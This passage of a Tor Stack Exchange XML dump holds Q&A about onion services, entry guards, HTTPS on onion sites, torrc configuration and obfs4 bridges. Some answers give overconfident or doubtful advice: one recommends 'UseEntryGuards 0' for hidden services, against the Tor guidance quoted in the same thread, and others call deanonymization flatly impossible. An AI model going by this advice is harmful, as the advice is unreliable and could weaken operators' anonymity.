distance if you get extremely lucky and all chosen relays are physically close. Still, there's going to be a lot of noise from Tor's low bandwidth, and it's shockingly unlikely that anybody lives close enough to a sufficiently large clump of Tor relays to allow such deanonymization. Also, this technique would be very vulnerable to deliberate deception.&lt;/p&gt;&#xA;" OwnerUserId="13200" OwnerDisplayName="Ben N" LastActivityDate="2016-05-30T00:47:30.750" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11740" PostTypeId="2" ParentId="11738" CreationDate="2016-05-30T16:56:47.483" Score="2" Body="&lt;p&gt;this kind of analysis is not possible, because even in a clearnet to make ping/latency be &lt;em&gt;actually&lt;/em&gt; in a proportional relation with your location, you need also a &lt;em&gt;very accurate&lt;/em&gt; data of the network load overall on the full path of the packet. These data a nearly-impossible to accure in clearnet, in &lt;em&gt;any&lt;/em&gt; darknet it's &lt;strong&gt;technically impossible&lt;/strong&gt; to get such a data. So don't worry: no locating analysis just by ping/latency is possible&lt;/p&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-30T16:56:47.483" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11741" PostTypeId="1" AcceptedAnswerId="11743" CreationDate="2016-05-28T12:57:38.033" Score="7" ViewCount="1684" Body="&lt;p&gt;I'm concern about uniqueness of the onion sites in terms of finding the right onion hostname and publishing it. How I can be guaranteed that my onion site will be the only one in Tor network with the same address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm not sure if it's possible, but since there is the same script used by everybody (&lt;code&gt;scallion&lt;/code&gt;) to generate onion hostname for certain pattern, like &lt;code&gt;mytextxyz&lt;/code&gt; and multiple people are looking for same pattern, isn't they end up with the exactly same private key (or pattern)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or another possibility can include copying the private key, then what happens when few independent servers running the website with the same private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when somebody finds the private key for the same pattern like &lt;code&gt;facebookcorewwwi.onion&lt;/code&gt; (which is nearly &lt;a href=&quot;https://security.stackexchange.com/a/29793/11825&quot;&gt;impossible&lt;/a&gt;, but somehow they manage to find the pattern which they wanted, so hypothetically we can assume it can be possible) and publishes the fake site for phishing attacks (or multiple of them in different countries with the same copied key for a better results). Which website users will be seeing? The official, or the fake once?&lt;/p&gt;&#xA;" OwnerUserId="1880" OwnerDisplayName="kenorb" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:11.210" LastActivityDate="2016-06-09T00:19:38.790" Title="What would happen when multiple servers are having the same onion hostname?" Tags="|security|onion-routing|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11742" PostTypeId="2" ParentId="11741" CreationDate="2016-05-28T16:14:21.207" Score="3" Body="&lt;p&gt;It depends on the exponent, if the people will use the same exponent - yes, they will have an identical keys. And - as far as I know - as soon you publish your HS descriptor, no descriptor with the same name is possible to exist in network.&lt;br /&gt; So - its a good and bad thing at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;Very&lt;/strong&gt; good thing is that &lt;strong&gt;no duping/hijacking&lt;/strong&gt; possible in the way you've mentioned in your question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bad thing is that, for example, if it would be possible on &lt;em&gt;first&lt;/em&gt; publishing a HS descriptor to opt-in a fact that multiple hosts may run it with the same key - it would give us a very handy load-ballancing and failsafe feature for existing HS.&lt;/p&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-30T18:25:09.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11743" PostTypeId="2" ParentId="11741" CreationDate="2016-05-28T17:00:16.603" Score="11" Body="&lt;p&gt;Let's assume that two separate sites have identical keys. It is possible, though highly unlikely for two servers to generate the same keys, but you can also consider someone moving servers for the same hidden service, but leaving both instances running and accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you visit a .onion site, you are essentially retrieving a service descriptor for how to access it. If you have the private key that corresponds to this service descriptor, you can update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two people have the keys and update it, whichever publishes most recently will be believed as genuine and clients will be directed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is bad if the second site to publish is a fake, but the network has no way of knowing if you are just upgrading servers, taking a site back from a scammer, or &quot;stealing&quot; one yourself.&lt;/p&gt;&#xA;" OwnerDisplayName="Mike Dank" LastActivityDate="2016-05-28T17:00:16.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11744" PostTypeId="1" AcceptedAnswerId="11745" CreationDate="2016-05-23T19:45:40.157" Score="0" ViewCount="1304" Body="&lt;p&gt;I've found this &lt;a href=&quot;https://www.deepdotweb.com/questions/question/how-to-open-clos-loky-domain-url-in-dw/&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; where user asks how to open &lt;code&gt;.clos&lt;/code&gt; and &lt;code&gt;.loky&lt;/code&gt; domains. I assume these aren't the valid domain suffixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However to avoid confusion, my question is, which the hidden top-level domains suffixes are exactly supported by Tor browser (ignoring surface web one) other than &lt;code&gt;.onion&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1880" OwnerDisplayName="kenorb" LastEditorUserId="1880" LastEditDate="2016-06-09T00:21:28.020" LastActivityDate="2016-06-09T00:21:28.020" Title="What are the other .onion like top-level domains supported by Tor?" Tags="|onion-routing|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11745" PostTypeId="2" ParentId="11744" CreationDate="2016-05-23T23:30:36.943" Score="7" Body="&lt;h1&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/.tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;.tor&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;.tor is a pseudo-top-level domain host suffix implemented by the OnioNS project, which aims to add DNS infrastructure to the Tor network enabling the selection of meaningful and globally-unique domain name for hidden services, which users can then reference from the Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/.onion#.exit&quot; rel=&quot;nofollow noreferrer&quot;&gt;.exit&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;.exit is a pseudo-top-level domain used by Tor users to indicate on the fly to the Tor software the preferred exit node that should be used while connecting to a service such as a web server, without having to edit the configuration file for Tor (torrc).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="fi12" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-05-23T23:30:36.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11746" PostTypeId="2" ParentId="11744" CreationDate="2016-05-24T17:56:40.993" Score="0" Body="&lt;p&gt;First, dot-tor are &lt;strong&gt;not&lt;/strong&gt; supported by Tor itself - it's a side product, don't mess things up! dot-exit is a Tor's feature to map exits, and dot-onion is the &lt;em&gt;only&lt;/em&gt; top-level suffix to address a Tor darknet hidden services&lt;/p&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-24T17:56:40.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11747" PostTypeId="1" AcceptedAnswerId="11748" CreationDate="2016-05-22T16:07:09.457" Score="8" ViewCount="1104" Body="&lt;p&gt;Tor &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot;&gt;hidden services&lt;/a&gt; have an asymmetric key pair. That seems like it ought to do the job of authenticating the server and securing the connection to the client. When Tor clients reach out to normal servers, the final traffic passes through the exit node, so it makes sense to use application-level encryption there. But hidden service traffic stays entirely inside the Tor network, where encryption can be used the whole way, presumably. But occasionally, you see a &lt;code&gt;.onion&lt;/code&gt; using HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose of using HTTPS for darknet web sites? Does it provide any security benefits for the server or client, or is it completely pointless?&lt;/p&gt;&#xA;" OwnerUserId="13200" OwnerDisplayName="Ben N" LastEditorUserId="46" LastEditDate="2016-06-08T23:24:43.220" LastActivityDate="2016-09-01T20:16:27.983" Title="Why do Tor hidden service operators bother with SSL/TLS encryption?" Tags="|security|network-configuration|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11748" PostTypeId="2" ParentId="11747" CreationDate="2016-05-22T17:53:39.200" Score="4" Body="&lt;p&gt;It has it's uses, of course! At least:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Integrity&lt;/strong&gt; you know, that your server is responsible for cipher strength, and a potential malicious node in a chain will have some trouble-time due to that fact for sure&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Client accounting&lt;/strong&gt; a &lt;em&gt;very handy&lt;/em&gt; option of having client certificates is a powerful tool!&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bot protecton&lt;/strong&gt; lots of HTTP picktools are lacking of strong encryption or HTTPS at all : it will render them useless&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-22T17:53:39.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11749" PostTypeId="1" CreationDate="2016-05-21T21:00:56.477" Score="2" ViewCount="116" Body="&lt;p&gt;Suppose I'm already running a Tor relay, and I want to run a hidden service for a little while. I know it's bad to run both on the same Internet connection (because of timing attacks), but it would be really convenient, and I'm not going to keep the hidden service around all that long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long could I safely run my hidden service there? That is, how long - roughly - would it take for someone to deanonymize the service if I ran it on the same machine as a relay?&lt;/p&gt;&#xA;" OwnerUserId="13200" OwnerDisplayName="Ben N" LastActivityDate="2016-06-08T23:25:15.873" Title="How quickly could my Tor hidden service be deanonymized if I run it on the same machine as a relay?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11750" PostTypeId="2" ParentId="11749" CreationDate="2016-05-22T02:19:40.880" Score="1" Body="&lt;p&gt;Actually, you can run it in a single Tor instance with no problem. The de-anonymizing risk exists only if you're running it in a separate instance, and - the service descriptor is &lt;em&gt;very hard&lt;/em&gt; to pinpoint/map to your HS.&lt;/p&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-23T08:41:14.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11751" PostTypeId="1" CreationDate="2016-05-20T15:53:33.423" Score="6" ViewCount="458" Body="&lt;p&gt;The Tor site's &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;page about hidden service communication&lt;/a&gt; mentions that a given hidden service will always use the same set of entry guards:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At this point it is of special importance that the hidden service sticks to the same set of entry guards when creating new circuits. Otherwise an attacker could run his own relay and force a hidden service to create an arbitrary number of circuits in the hope that the corrupt relay is picked as entry node and he learns the hidden server's IP address via timing analysis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;hidden service configuration instructions&lt;/a&gt; don't say very much about how a service's entry guards are selected:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now that you've restarted Tor, it is busy picking introduction points in the Tor network, and generating a hidden service descriptor. This is a signed list of introduction points along with the service's full public key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does the hidden service host avoid picking a &quot;corrupt relay&quot; as one of its permanent entry guards? What do I need to do to make sure that the guards I use are trustworthy?&lt;/p&gt;&#xA;" OwnerUserId="13200" OwnerDisplayName="Ben N" LastEditorUserId="46" LastEditDate="2016-06-08T23:26:43.347" LastActivityDate="2016-06-08T23:26:43.347" Title="How do I make sure my Tor hidden service gets trustworthy entry guards?" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11752" PostTypeId="2" ParentId="11751" CreationDate="2016-05-21T14:03:57.443" Score="1" Body="&lt;p&gt;They're selected &lt;strong&gt;exactly the same&lt;/strong&gt; as for other Tor needs : i.e. if you're using &lt;code&gt;UseEntryGuards 0&lt;/code&gt; it will be used for your HS('s) too. And - &lt;em&gt;after&lt;/em&gt; seeding the HS tor instance I &lt;em&gt;do&lt;/em&gt; recommend you to use &lt;code&gt;UseEntryGuards 0&lt;/code&gt;, because it will make your HS much more stealth with a short circuit timeout.&lt;/p&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-21T14:03:57.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11753" PostTypeId="1" CreationDate="2016-05-19T19:51:29.377" Score="4" ViewCount="166" Body="&lt;p&gt;I've seen Dark web sites before that like to change their URL often. Often changing URL after handing out the new address to old users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do they do this? Is there a specific reason URL hopping is necessary?&lt;/p&gt;&#xA;" OwnerUserId="7800" OwnerDisplayName="Quill" LastEditorUserId="46" LastEditDate="2016-06-08T23:27:33.430" LastActivityDate="2016-06-08T23:27:33.430" Title="Why do Darkweb Tor addresses change so often?" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11754" PostTypeId="2" ParentId="11753" CreationDate="2016-05-19T20:01:49.790" Score="2" Body="&lt;p&gt;no technical reason here, usually it is used to achieve three main goals:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;audience refining&lt;/strong&gt; You can give the new address only to the persons you trust&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;hunting avoidance&lt;/strong&gt; If there're too many mentioning about your HS with it's url published, &lt;em&gt;sometimes&lt;/em&gt; it can become a target to government-covered abusers, like in Russia&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;going deeper&lt;/strong&gt; if you're not about to make your HS for everybody - it's like a making a &quot;New identity&quot; switch, a links will lead to your old URL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-19T20:01:49.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11755" PostTypeId="1" AcceptedAnswerId="11758" CreationDate="2016-05-19T08:31:57.373" Score="5" ViewCount="3832" Body="&lt;p&gt;I'm running a web server behind TOR which should only be reachable by an &lt;code&gt;.onion&lt;/code&gt; address I've set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But sometimes I'm worried that the public IP of the server can get leaked somehow. Is the webserver also accessible by the IP if someone can get access to that information?&lt;/p&gt;&#xA;" OwnerUserId="13021" OwnerDisplayName="5chdn" LastEditorUserId="46" LastEditDate="2016-06-08T23:28:36.503" LastActivityDate="2016-06-08T23:28:36.503" Title="Is it possible to access a dark web server by a public IP instead of an .onion address?" Tags="|onion-routing|ip-address|darknet|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11756" PostTypeId="2" ParentId="11755" CreationDate="2016-05-19T09:08:18.640" Score="5" Body="&lt;p&gt;The difference between &lt;code&gt;.onion&lt;/code&gt; URLs and normal URLs, is that the normal URL is simply a &quot;human readable pointer&quot; points to a network location... on the other hand, a &lt;code&gt;.onion&lt;/code&gt; URL is actually the only address you should be accessing it from. The secure part about Tor is that it masks the server IPs as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A government or &quot;knowledgable individual&quot; can tell things from the IP and submask like your ISP (and depending on your ISP's usage, potentially an area) via the subnets they provide you, and so Tor would obviously like to hide that from the person. The &lt;code&gt;.onion&lt;/code&gt; address they provide you is part of Tor's protocol going into their network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Tor &quot;url&quot; is merely a generated sequence of characters they assign you based on your public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a webserver host, the incoming packets should show whether they were direct IP connections or Tor-routed connections. You can probably block the direct IP connections to avoid some sort of detection.&lt;/p&gt;&#xA;" OwnerUserId="7800" OwnerDisplayName="Quill" LastActivityDate="2016-05-19T09:08:18.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11757" PostTypeId="2" ParentId="11755" CreationDate="2016-05-19T15:49:55.087" Score="3" Body="&lt;p&gt;The concern you're rising here is &quot;will it be able to detect a clearnet address of a darknet server&quot; - so it's &lt;strong&gt;must be protected&lt;/strong&gt; by firewall. And the most effective technique here is to separate the service in a VM/LXC and make it not routed to the clearnet &lt;strong&gt;or&lt;/strong&gt; run a service under a specific username and prohibit any clearnet activites for this username. It's done via firewall - both ways&lt;/p&gt;&#xA;" OwnerUserId="9291" OwnerDisplayName="Alexey Vesnin" LastActivityDate="2016-05-19T15:49:55.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11758" PostTypeId="2" ParentId="11755" CreationDate="2016-05-19T16:02:30.267" Score="4" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, correctly-configured Tor hidden services are not accessible by direct IP connection. When &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;setting up a hidden service&lt;/a&gt;, you set up your web server to only listen to traffic from the local machine, which will come from the Tor client:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You need to configure your web server so it doesn't give away any information about you, your computer, or your location. Be sure to bind the web server only to localhost (if people could get to it directly, they could confirm that your computer is the one offering the hidden service). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You then point your Tor configuration file to your local IP address and the port on which your server is running (which doesn't have to be the same as the port that appears to clients).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;Communication between clients and hidden services&lt;/a&gt; is always done through two circuits to a rendezvous point, never directly over the normal Internet.&lt;/p&gt;&#xA;" OwnerUserId="13200" OwnerDisplayName="Ben N" LastActivityDate="2016-05-19T16:02:30.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11759" PostTypeId="2" ParentId="11755" CreationDate="2016-05-25T18:56:11.433" Score="4" Body="&lt;p&gt;Yes, if it is improperly set up. &lt;a href=&quot;https://motherboard.vice.com/read/an-admins-foolish-errors-helped-the-fbi-unmask-child-porn-site-playpen?trk_source=recommended&quot; rel=&quot;nofollow noreferrer&quot;&gt;This article&lt;/a&gt; states that the FBI was able to access an onion website via direct IP address. From the article...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Due to a misconfiguration of the server hosting the TARGET WEBSITE&#xA;[Playpen], the TARGET WEBSITE was available for access on the regular&#xA;Internet to users who knew the true IP address of the server&lt;/p&gt;&#xA;&lt;p&gt;“Basically, Playpen must have set their [child pornography] site to&#xA;[a] default [web server setting], meaning if you typed in the IP&#xA;address you could see the Playpen site,” Thomas White, a UK-based&#xA;activist and technologist, explained in an encrypted chat. “Whereas if&#xA;they set another default like ‘server not found,’ then you could only&#xA;access Playpen by typing the correct .onion address.” This means that&#xA;law enforcement could verify that an IP address belonged to a specific&#xA;site.&lt;/p&gt;&#xA;&lt;p&gt;An FBI Agent, acting in an undercover capacity, accessed IP address&#xA;192.198.81.106 on the regular Internet and resolved to TARGET WEBSITE,” the document continues. That address pointed to a server in&#xA;North Carolina, hosted by a company called CentriLogic.&lt;/p&gt;&#xA;&lt;p&gt;The FBI was tipped off about Playpen’s IP address by a foreign law&#xA;enforcement agency, as noted in other, redacted versions of the&#xA;warrant. This recently unsealed version includes detail on how that IP&#xA;address was left exposed.&lt;/p&gt;&#xA;&lt;p&gt;It is not clear how the foreign law enforcement agency discovered&#xA;Playpen's real IP address in the first place. But the main&#xA;administrator of the site, who the FBI suspects is Steven Chase from&#xA;Florida, was clearly aware of the problem and actively trying to fix&#xA;it, according to the search warrant application.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="Taylor Swift" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-05-25T18:56:11.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11760" PostTypeId="1" CreationDate="2016-06-09T07:16:48.750" Score="0" ViewCount="337" Body="&lt;p&gt;I am using tails on a usb and trying to get Oracle's Virtual Box to open inside of tails to run Kali Linux. Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="13202" LastActivityDate="2017-01-08T17:41:26.140" Title="can I run Kila linux on a Vm inside Tails? If so, how?" Tags="|tails|" AnswerCount="1" CommentCount="1" ClosedDate="2017-01-09T21:19:17.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="11761" PostTypeId="1" AcceptedAnswerId="11762" CreationDate="2016-06-09T07:59:44.553" Score="1" ViewCount="4898" Body="&lt;p&gt;I want to set up a Hidden Service on OSX and I've been following these instructions on the Tor site: &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en#two&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-hidden-service.html.en#two&lt;/a&gt;. I was able to do step 1 and set up a localhost server on my computer. I then downloaded &amp;amp; installed xcode, macports and tor browser like it says in step 2. My problem is that it says to edit the &quot;torrc&quot; file and paste the text in step 2 (which is something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /opt/local/var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but then the version of Tor (6.0.1) for my OSX (Yosemite) doesn't have a &quot;torrc&quot; file, only a &quot;torrc-defaults&quot; file—which doesn't contain a section for Hidden Services—and when I try to alter it by pasting the above code and re-opening Tor, I get an error message and Tor won't open. Anyone have  suggestions as to what I'm getting wrong here? Also, I have a Dynamic IP address, will this cause problems setting up a Hidden Service? Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="13203" LastEditorUserId="88" LastEditDate="2016-06-09T13:33:27.157" LastActivityDate="2016-06-09T13:33:27.157" Title="Where do I find &quot;torrc&quot; file in Tor 6.0.1? Is torrc-defaults the same as torrc?" Tags="|configuration|onion-services|mac|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-14T20:26:35.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="11762" PostTypeId="2" ParentId="11761" CreationDate="2016-06-09T08:08:31.350" Score="0" Body="&lt;p&gt;See my post &lt;a href=&quot;http://www.discuzfeed.com/tor/hzopp-creating-exitnodes-command-for-tor-6-0-on-a-mac.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; or the location of torrc for Tor6.&lt;/p&gt;&#xA;" OwnerUserId="13076" LastActivityDate="2016-06-09T08:08:31.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11765" PostTypeId="1" CreationDate="2016-06-09T09:27:01.697" Score="3" ViewCount="3703" Body="&lt;p&gt;Finally yesterday I installed ubuntu 16.04 and after that I installed tor and obfs4. I add this line at the end of torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge obfs4 82.243.119.185:990 B08238781C2CD80DBD95AEABEB6F6C75F2E2CEB6 cert=1udeMlFNs3sJ20zwpPE6nShZqqwDb3F1ET4KzfSfD+fktkue9zNx9H3t+yLCPAsg+6UTUA iat-mode=0&#xA;Bridge obfs4 192.36.31.173:42912 33DCA3BAD915D0F04CFAC6DF47B1BEB9E95E5C3A cert=3sBbfmp4fpIPpinXWbjZiVp+zWrK1kEUfmqNJNfszb8SXS+DeaVS4vQyvK7/fkU/TEPqVQ iat-mode=0&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy --managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it didn't work, here is the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /var/log/tor/log&#xA;Jun 08 21:33:04.000 [notice] Delaying directory fetches: No running bridges&#xA;Jun 08 21:33:04.000 [notice] Signaled readiness to systemd&#xA;Jun 08 21:33:05.000 [warn] Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('Operation not permitted').&#xA;Jun 08 21:33:06.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Jun 08 21:33:06.000 [warn] We were supposed to connect to bridge '82.243.119.185:990' using pluggable transport 'obfs4', but we can't find a pluggable transport proxy supporting 'obfs4'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;Jun 08 21:33:06.000 [warn] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Can't connect to bridge; PT_MISSING; count 1; recommendation warn; host B08238781C2CD80DBD95AEABEB6F6C75F2E2CEB6 at 82.243.119.185:990)&#xA;Jun 08 21:33:06.000 [warn] We were supposed to connect to bridge '192.36.31.173:42912' using pluggable transport 'obfs4', but we can't find a pluggable transport proxy supporting 'obfs4'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;Jun 08 21:33:06.000 [warn] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Can't connect to bridge; PT_MISSING; count 2; recommendation warn; host 33DCA3BAD915D0F04CFAC6DF47B1BEB9E95E5C3A at 192.36.31.173:42912)&#xA;Jun 08 21:33:06.000 [warn] We were supposed to connect to bridge '94.242.249.2:47282' using pluggable transport 'obfs4', but we can't find a pluggable transport proxy supporting 'obfs4'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;Jun 08 21:33:06.000 [warn] Problem bootstrapping. Stuck at 5%: Connecting to directory server. (Can't connect to bridge; PT_MISSING; count 3; recommendation warn; host 52C5F1C15DCF6DAC47556EC1D4EC4BE5B24BDEC7 at 94.242.249.2:47282)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm beginner could you please help me where is the problem? &lt;/p&gt;&#xA;" OwnerUserId="13206" LastEditorUserId="88" LastEditDate="2016-06-16T12:47:08.837" LastActivityDate="2016-06-16T12:47:08.837" Title="problem with obfs4proxy and apparmor (solved)" Tags="|bridge|obfs4|apparmor|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11766" PostTypeId="1" CreationDate="2016-06-09T09:49:26.090" Score="2" ViewCount="5159" Body="&lt;pre&gt;&lt;code&gt;#HiddenServiceDir /opt/local/var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team. Restarting Tor will not close your browser tabs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I opened terminal and tried to verify and got this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --verify-config&#xA;Jun 09 11:31:29.100 [notice] Tor v0.2.7.6 running on Darwin with Libevent 2.0.22-stable, OpenSSL 1.0.2h and Zlib 1.2.8.&#xA;Jun 09 11:31:29.101 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jun 09 11:31:29.102 [notice] Configuration file &quot;/opt/local/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;Configuration was valid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I make any changes in the torrc file, this problem occurs. When I delete them the problem disappears. What am I doing wrong? &#xA;Thanks in advance for any help! &lt;/p&gt;&#xA;" OwnerUserId="13203" LastEditorUserId="-1" LastEditDate="2017-07-31T21:56:31.103" LastActivityDate="2017-07-31T21:56:31.103" Title="Tor browser error after editing torrc file for Hidden Service OSX" Tags="|configuration|onion-services|mac|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11767" PostTypeId="2" ParentId="4411" CreationDate="2016-06-09T12:17:33.847" Score="1" Body="&lt;p&gt;I have had this same issue before. Disable or uninstall IBM Security Trusteer Rapport ( Trusteer endpoint protection) and Tor browser should start working again.&lt;/p&gt;&#xA;" OwnerUserId="9638" LastActivityDate="2016-06-09T12:17:33.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
